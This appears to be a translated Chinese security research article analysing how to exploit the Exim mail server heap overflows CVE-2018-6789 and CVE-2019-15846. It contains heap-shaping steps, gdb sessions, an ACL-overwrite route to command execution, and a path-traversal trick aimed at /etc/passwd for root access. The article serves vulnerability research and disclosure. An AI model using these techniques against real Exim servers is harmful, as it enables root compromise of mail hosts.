0x00 前言
Qualys最近公布了Exim MTA中某个严重漏洞的安全公告:CVE-2019-15846。在安全公告中,Qualys提到他们已经开发出PoC,可以让远程攻击者获得root权限。此外还有一则比较醒目的报道文章:”数百万Exim服务器存在安全漏洞……“。
在2018年时,我们根据Devcore发布的关于Exim另一个漏洞的分析文章,成功开发出漏洞PoC(但并没有对外公布)。因此,我们决定对新披露的这个漏洞采用相同的分析过程。
在本文中,我们从漏洞利用角度来分析Exim内部处理过程,然后介绍了关于两个漏洞利用的一些信息,同时提供了相应的PoC。
Exim中主要有4个处理进程:
1、守护进程(daemon process)监听SMTP入站连接。daemon进程会为每个SMTP连接创建一个新的接收端进程。通常情况下,daemon进程会使用-q
参数启动,这样可以设定daemon进程启动队列运行(queue runner)进程所使用的间隔时间(比如,-q30m
代表每30分钟就会启动一个queue runner进程)。
2、接收进程(reception process)接收入站消息,然后将其存储在spool
目录中(/var/spool/exim/input
)。消息由两个文件所组成:-H
(消息头)以及-D
(消息体)。除非明确指定,否则reception进程会生成新的进程,立即投递。如果启用了queue_only
选项,收到的消息会被放入spool
目录中,不会自动投递。
3、队列运行(queue runner)进程会遍历spool
目录中的消息文件,为每个文件启动投递进程(delivery process)。
4、投递进程(delivery process)会对每则消息执行远程/本地投递操作。delivery进程以root权限运行,因此是值得研究的一个目标。
0x01 Exim Pool Allocator
Exim维护着若干个分配池(allocation pool)。POOL_PERM
保存着分配资源,只要进程还存在,资源就不会被回收。比如,其中就存储着配置选项以及ACL。POOL_MAIN
保存着动态分配资源,这些资源可以被释放。此外还有一个单独的池:POOL_SEARCH
,可以用来查找存储数据。
在Exim中,pool为动态分配的storeblock
链表(如下文所述)。storeblock
的最小大小为0x2000
。当Exim请求一定数量的内存时,会判断当前block中是否有足够的空间能够满足该请求。如果当前block中没有足够空间,则会分配新的storeblock
。
Exim在store_in.c
中定义了一组例程,用来管理pool:
1、store_malloc
以及store_free
:分别为malloc
以及free
的封装函数;
2、store_get
:如果当前block有足够的空间,则返回当前storeblock
中的一个指针。否则会分配新的storeblock
;
3、store_reset
:将yield
指针指向存储重置点,释放后续的任何storeblock
。后面我们会看到,这个函数在漏洞利用过程中非常有用;
4、store_release
:该函数作用相当于重分配函数;
5、store_extend
:如果待扩展的数据位于storeblock
顶部,那么该函数就能发挥作用,可以避免额外的分配/拷贝操作。
0x02 Exim堆溢出漏洞利用
假如我们找到了Exim中的一个堆溢出漏洞,我们可以借鉴@mehqq在一篇文章中提到的思路来实现代码执行。
ACL
ACL(访问控制列表)在配置文件中定义,用来控制Exim在收到某些SMTP消息时的处理行为。例如,用户可以设置acl_smtp_mail
选项,在收到MAIL FROM
命令时执行特定的检查。当Exim处理这些选项时,就会展开这些选项,执行${run{cmd}}
定义的命令。
Exim将ACL定义为全局指针,引用载入storeblock
(来自POOL_PERM
)中的数据。只要重写ACL的内容,就能实现代码执行。
从堆溢出漏洞到UAF
这里的目标是覆盖已分配storeblock
的下一个指针,将其链接到包含ACL的storeblock
。如果后面这个storeblock
链被重置(比如发送新的HELO
命令),那么包含ACL的block就会被释放,我们可以发送新的命令取回这个block。
这个利用场景需要如下5个步骤:
1、调整堆布局,以便获得两个连续的storeblock
:存在漏洞的storeblock
(用于溢出)以及目标storeblock
;
2、利用刚释放的chunk触发溢出,破坏已分配storeblock
的下一个指针,使其指向包含ACL的storeblock
。需要注意的是,由于这两个storeblock
(被劫持的storeblock
以及ACL storeblock
)都位于堆中,因此这里我们需要执行一定数量的bruteforce操作;
3、发送新的HELO
命令,释放存有ACL的storeblock
,这样整个storeblock
链都会被释放;
4、发送多个命令取回ACL storeblock
(比如AUTH
命令),覆盖acl_smtp_mail
内容;
5、发送MAIL_FROM
命令触发代码执行。
0x03 CVE-2018-6789
这个bug位于base64.c
的b64decode
函数中。base64解码函数没有正确计算存储解码数据的缓冲区长度,导致存在堆溢出漏洞。从这里入手,攻击者可以使用传统的技术,通过缩小/扩展chunk大小(即破坏chunk大小字段)来覆盖chunk。
这里我们不会介绍CVE-2018-6789的完整利用步骤,因为@mehqq_已经在之前的文章中详细说明过,我们也会在下文的PoC中 给出细节。
我们将简单介绍Exim中的一些特性,可以根据需要利用这些特性来调整堆的布局。我们的目标是在chunk大小被破坏之前实现下图所示的堆布局。
1、我们可以发送两次“未定义命令+HELO
命令”来创建可用的“工作”空间。未识别的命令可以在错误报告过程中触发storeblock
分配操作,而HELO
命令可以重置之前分配的storeblock
链。需要注意的是,Exim会限制未知的命令数量,上限为3个。
2、顶部chunk使用AUTH
命令进行分配。
达到上述状态后,我们可以发送AUTH CRAM-MD5
命令来扩大工作区中间chunk的大小,触发缓冲区溢出。然后,我们可以发送HELO
命令及无效的名称(如HELO a+
),在不恢复整个storeblock
链的情况下强制中间chunk被释放。这样我们就能提前跳出HELO
命令处理代码逻辑,避免调用smtp_reset
。
最后,我们可以发送比前面被释放chunk更大的新的AUTH
命令,这样就能覆盖顶部chunk。
随后,我们可以通过上一节介绍的步骤3~5实现代码执行。
完整利用代码请参考我们的Github仓库。
0x04 CVE-2019-15846
理解漏洞
在4.92.1版之前,Exim都存在一个堆溢出漏洞。Zerons在2019年7月21日报告了CVE-2019-15846漏洞,Qualys分析该漏洞后,于2019年9月6日对外公开。
该漏洞位于string_interpret_escape
中,当string_unprinting
调用该函数时会触发漏洞。漏洞在这个 commit中被修复。
diff --git a/src/src/string.c b/src/src/string.c
index 5e48b445c..c6549bf93 100644
--- a/src/src/string.c
+++ b/src/src/string.c
@@ -224,6 +224,8 @@ interpreted in strings.
Arguments:
pp points a pointer to the initiating "" in the string;
the pointer gets updated to point to the final character
+ If the backslash is the last character in the string, it
+ is not interpreted.
Returns: the value of the character escape
*/
@@ -236,6 +238,7 @@ const uschar *hex_digits= CUS"0123456789abcdef";
int ch;
const uschar *p = *pp;
ch = *(++p);
+if (ch == '\0') return **pp;
if (isdigit(ch) && ch != '8' && ch != '9')
{
ch -= '0';
顾名思义,string_interpret_escape
的功能是解析转义序列。比如,\x62
会被转换为b
。
string_unprinting
会使用该函数,将输入字符串转换为未转义的输出字符串。输出字符串首先会使用Exim的内存分配器来分配。
len = Ustrlen(s) + 1;
ss = store_get(len);
这里的漏洞在于string_unprinting
会读取输入字符串,直到找到NULL
字节。当string_interpret_escape
被调用时,会前移缓冲区指针,但随后string_unprinting
会继续移动该指针。因此,代码会跳过反斜杠后的char,导致程序会跳过输出缓冲区限制,执行拷贝操作。
while (*p)
{
if (*p == '\\')
{
*q++ = string_interpret_escape((const uschar **)&p);
p++;
}
[...]
}
堆缓冲区溢出过程如下图所示:
需要注意的是,即使NULL
字节没有用于停止处理输入缓冲区,也会被拷贝到输出缓冲区中。
为了利用该漏洞,攻击者必须对齐两个缓冲区(输入及输出缓冲区),确保除了输入缓冲区中的NULL
字节之外,这两者之间不存在其他NULL
字节。更准确地说,我们需要注意store_get
,该函数会将storeblock
中的数据按8字节进行对齐。
最后,这两个缓冲区必须属于同一个storeblock
,以便溢出多个字节。当string_unprinting
被调用时,根据堆布局情况,输入缓冲区可能在大小上非常受限。
不论如何,实际上可以覆盖的数据量并没有限制。read指针会读取刚刚写入的数据。为了避免在拷贝原始NULL
字节时停住,我们可以在该字节前多加几个反斜杠。这样我们可以访问到输出缓冲区后的任意地址。
此外,我们可以将NULL
字节编码成\x00
来覆盖缓冲区。
漏洞利用
为了利用该漏洞,Qualys精心构造了带有反斜杠的SNI。这个SNI最终会由Exim的reception
进程写到一个Exim spool文件中,由delivery
进程读取。当Exim的delivery
进程在spool_read_header
中读取这个spool文件时,就会调用存在漏洞的string_unprinting
函数。
Exim会给处理的每封邮件分配一个ID,这个ID会在spool文件名、日志等中使用。
Qualys使用这个堆溢出漏洞来覆盖用于构造log文件名的消息ID。在某些情况下,log文件会使用发送方地址来填充。当使用../../../../../../etc/passwd
来覆盖消息ID时,就可以在目标系统中添加新用户。
我们准备深入分析存在漏洞的这个函数。前面提到过,spool_read_header
用来解析Exim的spool头文件。这个头文件存放于/var/spool/exim4/input/
目录中。收到的每封邮件都会生成2个spool文件,每个文件都以消息ID命名。第一个文件名后附加-D
字符串,包含消息正文。第二个文件名附加-H
字符串,包含各种元数据,其中就包括SNI。
spool_read_header
会被多次调用。对deliver_message
的调用是我们能找到的唯一可利用的代码路径。我们可以通过两个不同的进程来到达这条路径:exim -Mc
以及exim -q
。第一个进程对应接直接消息投递过程,第二个路径对应queue runner进程调用的一个后台任务。
为了利用该漏洞,我们以queue runner进程为目标。在这个进程中,消息ID存放于堆中,而如果通过exim -Mc
来运行delivery进程,则消息ID存放于栈上。
不幸的是,Exim daemon主进程采用正常的fork+exec方式来运行这两个进程,除了读取spool文件外,这两个进程没有其他交互操作。因此,调整堆布局不会像CVE-2018-6789那么容易。
PoC
为了复现该问题,我们可以在debian 9系统,通过snapshot仓库安装exim4,该版本还没打上补丁。
root@strech:~# cat /etc/apt/sources.list
deb http://snapshot.debian.org/archive/debian/20190801T025637Z/ stretch main
deb-src http://snapshot.debian.org/archive/debian/20190801T025637Z/ stretch main
需要注意的是,从2017年开始,GNUTLS在SNI值上添加了安全检查机制。因此,如果Exim使用了版本大于3.6.0的GNUTLS,我们就无法利用这个漏洞。
为了测试漏洞可利用性,我们可以简单创建这两个文件,手动运行Exim的queue runner进程。
cp 1i7Jgy-0002dD-Pb-D /var/spool/exim4/1i7Jgy-0002dD-Pb-D
cp 1i7Jgy-0002dD-Pb-H /var/spool/exim4/1i7Jgy-0002dD-Pb-H
/usr/sbin/exim4 -q
然后,我们可以在string_unprinting
上设置断点,完成如下操作:
- 确保可以触发这个缓冲区溢出漏洞
- 了解溢出时的堆布局
- 在堆上查找消息ID
gdb --args /usr/sbin/exim4 -q
gef➤ set follow-fork-mode child
gef➤ b string_unprinting
Breakpoint 1 at 0x5600d5924540: file string.c, line 355.
gef➤ r
Thread 2.1 "exim4" hit Breakpoint 1, string_unprinting (s=0x562b1a097790 "abcdef\\") at string.c:355
gef➤ n
[... step until interesting stuff ...]
gef➤ p s
$1 = (uschar *) 0x562b1a097790 "abcdef\\"
gef➤ p len
$2 = 0x8
gef➤ p ss
$4 = (uschar *) 0x562b1a097798 ""
gef➤ heap chunks
[... skip uninteresting chunks ...]
Chunk(addr=0x562b1a0975e0, size=0x2020, flags=PREV_INUSE)
[0x0000562b1a0975e0 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 ......... ......]
Chunk(addr=0x562b1a099600, size=0x1010, flags=PREV_INUSE)
[0x0000562b1a099600 31 69 37 4a 67 79 2d 30 30 30 32 64 44 2d 50 62 1i7Jgy-0002dD-Pb]
Chunk(addr=0x562b1a09a610, size=0x1fa00, flags=PREV_INUSE) ← top chunk
输入和输出缓冲区位于大小为0x2020
字节的一个chunk中。在读取头文件时,fgets
会分配后面大小为0x1010
字节的chunk。这里没有直接可以用来实现代码执行的信息。
接下来搜索消息ID:
gef➤ grep 1i7Jgy-0002dD-Pb
[+] Searching '1i7Jgy-0002dD-Pb' in memory
[+] In (0x562b1a009000-0x562b1a00d000), permission=rw-
0x562b1a00abb1 - 0x562b1a00abd6 → "1i7Jgy-0002dD-Pb (queue run pid 2860)"
0x562b1a00ae92 - 0x562b1a00aea2 → "1i7Jgy-0002dD-Pb"
[+] In '[heap]'(0x562b1a05a000-0x562b1a0ba000), permission=rw-
0x562b1a097609 - 0x562b1a097619 → "1i7Jgy-0002dD-Pb"
0x562b1a097641 - 0x562b1a097653 → "1i7Jgy-0002dD-Pb-H"
0x562b1a097663 - 0x562b1a097688 → "1i7Jgy-0002dD-Pb (queue run pid 2860)"
0x562b1a0976a9 - 0x562b1a0976bb → "1i7Jgy-0002dD-Pb-D"
0x562b1a0976c0 - 0x562b1a0976d2 → "1i7Jgy-0002dD-Pb-H"
0x562b1a0976f1 - 0x562b1a097703 → "1i7Jgy-0002dD-Pb-H"
0x562b1a099600 - 0x562b1a099637 → "1i7Jgy-0002dD-Pb-H\nDebian-exim 103 114\n<redacted[...]"
0x562b1a099c16 - 0x562b1a099c4d → "1i7Jgy-0002dD-Pb\n\tfor redacted@redacted.com; Mon[...]"
0x562b1a099c8d - 0x562b1a099cc4 → "1i7Jgy-0002dD-Pb@redacted>\n022F From: redacted@re[...]"
[+] In '[stack]'(0x7fff8da2e000-0x7fff8dab0000), permission=rw-
0x7fff8da65ae9 - 0x7fff8da65afb → "1i7Jgy-0002dD-Pb-H"
0x7fff8da65bb0 - 0x7fff8da65bc2 → "1i7Jgy-0002dD-Pb-H"
0x7fff8da65eb9 - 0x7fff8da65ecb → "1i7Jgy-0002dD-Pb-H"
这里能用来覆盖文件的唯一一个消息ID位于堆中,但在输出缓冲区溢出中无法访问到这个ID。
最后,我们可以确保溢出操作能成功执行。
gef➤ fin
Run till exit from #0 string_unprinting (s=0x5600d6a60790 "abcdef\\") at string.c:366
gef➤ x/16bx 0x5600d6a60798
0x5600d6a60798: 0x61 0x62 0x63 0x64 0x65 0x66 0x00 0x61
0x5600d6a607a0: 0x62 0x63 0x64 0x65 0x66 0x00 0x00 0x00
可以看到,8字符的输入字符串已经被拷贝两次。
调整堆布局
为了找到可行的利用方式,我们需要仔细分析queue runner进程触发漏洞时的堆状态。
利用该漏洞的主要思路就是调整堆布局,使两个缓冲区(输入及输出缓冲区)可以在先前被释放的chunk中分配。通过这种方法,我们可以在缓冲区溢出期间访问到目标消息ID。为了完成该任务,被释放的chunk的STORE_BLOCK_SIZE
至少必须为0x2000
,这也是storeblock
的最小大小值。
while ( (len = Ustrlen(big_buffer)) == big_buffer_size-1
&& big_buffer[len-1] != 'n'
)
{ /* buffer not big enough for line; certs make this possible */
uschar * buf;
if (big_buffer_size >= BIG_BUFFER_SIZE*4) goto SPOOL_READ_ERROR;
buf = store_get_perm(big_buffer_size *= 2);
memcpy(buf, big_buffer, --len);
big_buffer = buf;
if (Ufgets(big_buffer+len, big_buffer_size-len, f) == NULL)
goto SPOOL_READ_ERROR;
}
当queue runner进程遍历queue_get_spool_list
中的spool文件时,会调用readdir
函数。readdir
会分配一个内部缓冲区,生成大小为0x8030
的一个chunk。当调用closedir
时,这个chunk会被释放掉。幸运的是,对于每个文件,queue_get_spool_list
也会从当前storeblock
中请求0x22
个字节。
因此,如果我们可以确保/var/spool/exim4/input/
中有足够多的的文件,就有可能强迫应用分配新的storeblock
,然后在堆中创建间隙。
current_block[0]
的剩余空间可以在yield_length[0]
中找到。
gef➤ b opendir
Breakpoint 1 at 0x55b87b85e468
gef➤ c
Continuing.
Breakpoint 1, 0x00007f81aebc49a0 in opendir () from target:/lib/x86_64-linux-gnu/libc.so.6
gef➤ p yield_length[0]
$1 = 0x1ff0
我们至少只需要使用205个spool文件,就能在测试场景中确保成功在堆上创建间隙。
此外,跟在间隙后的数据恰好是用来创建log文件的消息ID。
gef➤ b closedir
Breakpoint 1 at 0x55dcb4d13898
gef➤ c
Continuing.
Breakpoint 1, 0x00007fb8affcc9f0 in closedir () from target:/lib/x86_64-linux-gnu/libc.so.6
gef➤ fin
Run till exit from #0 0x00007fb8affcc9f0 in closedir () from target:/lib/x86_64-linux-gnu/libc.so.6
gef➤ heap chunks
[... skip uninteresting chunks ...]
Chunk(addr=0x55dcb6d6d5e0, size=0x2020, flags=PREV_INUSE)
[0x000055dcb6d6d5e0 40 76 d7 b6 dc 55 00 00 00 20 00 00 00 00 00 00 @v...U... ......]
Chunk(addr=0x55dcb6d6f600, size=0x8040, flags=PREV_INUSE)
[0x000055dcb6d6f600 58 2b 2b b0 b8 7f 00 00 58 2b 2b b0 b8 7f 00 00 X++.....X++.....]
Chunk(addr=0x55dcb6d77640, size=0x2020, flags=)
[0x000055dcb6d77640 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 ......... ......]
Chunk(addr=0x55dcb6d79660, size=0x1e9b0, flags=PREV_INUSE) ← top chunk
为了最终完成漏洞利用,我们需要确保SNI被分配到间隙中。为了完成该任务,我们需要往current_block[0]
填充一些数据,这样当分配SNI时,就会分配一个新的storeblock
。
在string_unprinting
中设置断点,计算current_block[0]
中剩余空间:
gef➤ b string_unprinting
Breakpoint 1 at 0x55d401799540: file string.c, line 355.
gef➤ c
Continuing.
Thread 2.1 "exim4" hit Breakpoint 3, string_unprinting (s=0x55d4039d6990 'a' <repeats 3194 times>, "\\") at string.c:355
gef➤ p yield_length[0]
$1 = 0x1e68
在SNI之前,程序分配了一些空间,最有趣的是helo_name
。
int
spool_read_header(uschar *name, BOOL read_headers, BOOL subdir_set)
{
[... skip uninteresting lines ...]
else if (Ustrncmp(p, "elo_name", 8) == 0)
sender_helo_name = string_copy(big_buffer + 11);
使用helo_name
来填充current_block[0]
是非常简单的一个任务。然而,新分配的storeblock
必须要有足够的空间来存储输入及输出SNI,或者没有足够的空间来存放任何一个SNI。因此我们可以选择远大于默认storeblock
大小的一个helo_name
,这是不错的解决方案。
需要注意的是,queue runner进程可能会根据我们选择的ID来分配多个小缓冲区,这些缓冲区会被放置在helo_name
之前。
/* Check that the message still exists */
message_subdir[0] = f->dir_uschar;
if (Ustat(spool_fname(US"input", message_subdir, f->text, US""), &statbuf) < 0)
continue;
我们的目标是实现如下布局:
稍微总结下helo_name
的限制条件:
- 必须大于
current_block[0]
的剩余空间; - 必须小于间隙大小减去两个SNI的大小;
- 包含
helo_name
的storeblock
必须填满,才能确保两个SNI连续布局; - 确保SNI与顶部chunk相邻,这样溢出操作不会覆盖其他数据;
- 由于
big_buffer
重分配中存在一个bug,因此大小应小于0x4000
。
这里注意的是,漏洞利用过程必须适用于位于优先chunk中的消息ID。由于queue_run
中的每次循环都会修改堆布局,因此我们需要知道应用什么时候会投递这个ID。如果没有设置queue_run_in_order
,那么queue_get_spool_list
会采用伪随机顺序方式列出spool文件。随后,处于优先地位的ID将会是第一个或者最后一个被投递的ID。
大家可以参考官方代码中的如下注释:
/ 处理随机列表的创建过程。第一个元素会成为顶部及底部列表元素。后续元素将以随机方式插入顶部或者底部。也就是说,我认为这种方式会比为每个元素分配一个随机编号要快,并且也能节省每个项目所需的编码空间。/
选择正确长度的helo_name
后,我们能得到满足如下布局的堆:
gef➤ b closedir
Breakpoint 1 at 0x556862b9b898
gef➤ commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>set $ID = ((char *)current_block[0]) + 0x19
>c
>end
gef➤ b queue.c:645 if (int)strcmp(f->text, $ID) == 0
Breakpoint 2 at 0x564f9a43418a: file queue.c, line 647.
gef➤ commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>set follow-fork-mode child
>b string_unprinting
>c
>end
gef➤ c
Continuing.
Thread 2.1 "exim4" hit Breakpoint 1, string_unprinting (s=0x558589a70660 "abcdef\\") at string.c:355
gef➤ heap chunks
[... skip uninteresting chunks ...]
Chunk(addr=0x55ee971d75e0, size=0x2020, flags=PREV_INUSE)
[0x000055ee971d75e0 40 16 1e 97 ee 55 00 00 00 20 00 00 00 00 00 00 @....U... ......]
Chunk(addr=0x55ee971d9600, size=0x2020, flags=PREV_INUSE)
[0x000055ee971d9600 30 c6 1d 97 ee 55 00 00 00 20 00 00 00 00 00 00 0....U... ......]
Chunk(addr=0x55ee971db620, size=0x1010, flags=PREV_INUSE)
[0x000055ee971db620 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 bbbbbbbbbbbbbbbb]
Chunk(addr=0x55ee971dc630, size=0x2ff0, flags=PREV_INUSE)
[0x000055ee971dc630 20 f6 1d 97 ee 55 00 00 d8 2f 00 00 00 00 00 00 ....U.../......]
Chunk(addr=0x55ee971df620, size=0x2020, flags=PREV_INUSE)
[0x000055ee971df620 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 ......... ......]
Chunk(addr=0x55ee971e1640, size=0x2020, flags=PREV_INUSE)
[0x000055ee971e1640 00 96 1d 97 ee 55 00 00 00 20 00 00 00 00 00 00 .....U... ......]
Chunk(addr=0x55ee971e3660, size=0x1e9b0, flags=PREV_INUSE) ← top chunk
gef➤ p current_block[0]
$1 = (storeblock *) 0x55ee971df620
gef➤ x/s 0x55ee971e1640 + 0x19
0x55ee971e1659: "16aJgy-baaaad-Pb"
最后我们必须计算SNI,以便填充剩余的空闲chunk,覆盖消息ID。大家可以在exgen.py中了解如何满足这些限制条件以及计算所需结果。
不幸的是,覆盖消息ID同样会覆盖对应的storeblock
头,因此会破坏store_reset
。为了完美利用这个漏洞,我们首先应该解决掉这个问题。
不论如何,Exim随后会将日志写入以目标ID为文件名的文件。
/* Open the message log file if we are using them. This records details of
deliveries, deferments, and failures for the benefit of the mail administrator.
The log is not used by Exim itself to track the progress of a message; that is
done by rewriting the header spool file. */
if (message_logs)
{
uschar * fname = spool_fname(US"msglog", message_subdir, id, US"");
uschar * error;
int fd;
if ((fd = open_msglog_file(fname, SPOOL_MODE, &error)) < 0)
{
log_write(0, LOG_MAIN|LOG_PANIC, "Couldn't %s message log %s: %s", error,
fname, strerror(errno));
return continue_closedown(); /* yields DELIVER_NOT_ATTEMPTED */
}
/* Make a C stream out of it. */
if (!(message_log = fdopen(fd, "a")))
{
log_write(0, LOG_MAIN|LOG_PANIC, "Couldn't fdopen message log %s: %s",
fname, strerror(errno));
return continue_closedown(); /* yields DELIVER_NOT_ATTEMPTED */
}
}
当消息被成功投递后,写入的日志中会包含目的地址。
if (!addr->parent)
deliver_msglog("%s %s: %s%s succeededn", now, addr->address,
driver_name, driver_kind);
else
{
deliver_msglog("%s %s <%s>: %s%s succeededn", now, addr->address,
addr->parent->address, driver_name, driver_kind);
child_done(addr, now);
}
因此,这里我们有可能在passwd
中伪造一个有效的密码,获得目标主机的访问权限。
最后,当邮件成功投递给所有收件人后,Exim会unlink
或者重命名日志文件。因此,以/etc/passwd
为目标似乎并不是最佳选择。
0x05 总结
在本文中,我们学习了Exim的内部原理,这些知识可以帮助我们利用堆溢出漏洞,随后我们介绍了如何在两个不同的漏洞中利用这种技术。
此外,适用于CVE-2018-6789的这种利用技术可能同样适用于新公布的基于堆溢出的CVE-2019-16928漏洞,该漏洞可以通过发送较长的HELO
命令来触发。
大家可以在我们的Github仓库中找到完整的PoC代码。如果大家找到了利用这些漏洞的其他方法,欢迎给我们发送邮件,一起交流。
发表评论
您还未登录,请先登录。
登录